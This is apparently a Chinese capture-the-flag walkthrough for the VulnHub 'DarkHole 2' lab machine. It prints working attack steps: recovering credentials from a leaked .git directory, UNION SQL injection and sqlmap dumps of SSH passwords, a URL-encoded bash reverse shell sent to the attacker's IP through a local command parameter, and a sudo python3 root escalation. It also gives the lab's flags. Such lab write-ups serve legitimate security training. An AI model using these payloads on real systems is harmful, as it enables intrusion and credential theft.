hailong86
- 关注
1.靶机介绍
靶机下载地址:https://www.vulnhub.com/entry/darkhole-2,740/
靶机提示:
Description
Difficulty:Hard
This works better with VMware rather than VirtualBox
Hint: Don't waste your time For Brute-Force
靶机IP:10.8.0.102
2.端口发现
扫描靶机信息,只开放了22和80端口,但是80端口扫出来了.git,应该是.git泄露
3..git泄露利用
利用githacker下载.git到本地
查看config.php,发现关于mysql的信息
查看login.php,可以看到登陆界面,对用户名和密码的处理逻辑
git log看下git的历史日志,发现“我添加了带有默认凭据的 login.php 文件”
切换到a4d900a8d85e8938d3601f3cef113ee293028e10看下
再次查看login.php时,发现了用户名lush@admin.com和密码321。
4.WEB登录
访问80端口,点击右上角login,进入登录页面
成功登录页面
5.SQL注入
没有什么可以利用的,但是看到了?id=1就想到了SQL注入,测试一下吧,页面有4列信息,确定列数为6。
?id=1' order by 8 --+ 页面空白,页面请求瞬间完成
?id=1' order by 6 --+ 页面正常,页面请求很慢,需要多等一会
构造union语句,确定哪些列数据可以显示,2、3、5、6列被显示在页面上,接下来将对应的数字换成SQL查询语句就可以获取数据库中的信息。
id=' union all select 1,2,3,4,5,6 --+
查询数据库名,得到数据库名darkhole_2
id=' union all select 1,GROUP_CONCAT(schema_name),3,4,5,6 FROM information_schema.schemata --+
查询表名,得到表ssh和users
?id=' union all select 1,GROUP_CONCAT(table_name),3,4,5,6 FROM information_schema.tables WHERE table_schema='darkhole_2' --+
查询ssh表中的列名,得到列名id,user,pass
?id=' union all select 1,GROUP_CONCAT(column_name),3,4,5,6 FROM information_schema.columns WHERE table_name='ssh' --+
查询列user和pass的数据,得到ssh的用户名jehad和密码fool,可以尝试登录下ssh
?id=' union all select 1,user,pass,4,5,6 FROM ssh--+
这里也可以用sqlmap,但是需要先获取Cookie:PHPSESSID=qi7ntbrnqas6shqkbucnnmmoaq。
查询当前数据库,存在time-based blind和UNION query,得到当前数据库darkhole_2。
sqlmap -u http://10.8.0.102/dashboard.php?id=1 --cookie='PHPSESSID=qi7ntbrnqas6shqkbucnnmmoaq' --current-db
查询表,得到ssh和user表。sqlmap -u http://10.8.0.102/dashboard.php?id=1 --cookie='PHPSESSID=qi7ntbrnqas6shqkbucnnmmoaq' -D darkhole_2 --tables
直接获取ssh表中的数据,得到user:jehad,pass:fool。
sqlmap -u http://10.8.0.102/dashboard.php?id=1 --cookie='PHPSESSID=qi7ntbrnqas6shqkbucnnmmoaq' -D darkhole_2 -T ssh --dump
6.SSH登录
利用用户名jehad和密码fool成功登录ssh。
查看一下当前目录的文件
查看.bash_history,发现执行了很多命令,curl "http://127.0.0.1:9999/"访问本地9999端口,那么执行以下curl "http://127.0.0.1:9999/?cmd=id",发现返回是losy用户
7.反弹shell
由于只能本地访问,那我们就可以使用SSH -L本地转发功能,这个功能可以在本地监听一个端口,但该端口的连接被转发到远程主机的特定端口。相当于把远程端口映射到本地,即“将远程端口放在本地”。如下例子将监听本地9999端口,任何访问9999的客户端,都相当于远程访问example.com 的80端口,但是流量是通过 remote.server 的,并且所有流量都被加密。ssh -L 0.0.0.0:9999:example.com:80 user@remote.server
还有一种变体:目标主机与代理主机可以是同一台主机,即将remote.server服务映射到本地:ssh -L 0.0.0.0:9999:127.0.0.1:6379 user@remote.server
由于只能本地访问,那我们就可以使用SSH -L本地转发功能,在本地监听一个端口,我们使用ssh jehad@10.8.0.100 -L 9999:127.0.0.1:9999将目标靶机的本地9999映射到本地9999端口。
既然cmd可以传递参数,那就可以尝试构造bash -c 'bash -i >& /dev/tcp/10.8.0.100/1234 0>&1'反弹losy用户的shell,进行URL加密得到%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%38%2e%30%2e%31%30%30%2f%31%32%33%34%20%30%3e%26%31%27
本机开启监听,靶机执行curl "http://127.0.0.1:9999/?cmd=%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%38%2e%30%2e%31%30%30%2f%31%32%33%34%20%30%3e%26%31%27",成功反弹losy用户的shell。
进入用户目录,查看user.txt,得到flag:DarkHole{'This_is_the_life_man_better_than_a_cruise'}
8.权限获得
查看.bash_history时发现了losy修改的密码gang。
python3 -c 'import pty;pty.spawn("/bin/bash")'先升级一下shell,sudo -l输入密码gang,发现可以以root身份执行/usr/bin/python3。
查找到python的提权方式
sudo /usr/bin/python3 -c 'import os; os.system("/bin/sh")'提权,得到root,成功拿到flag:DarkHole{'Legend'}。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)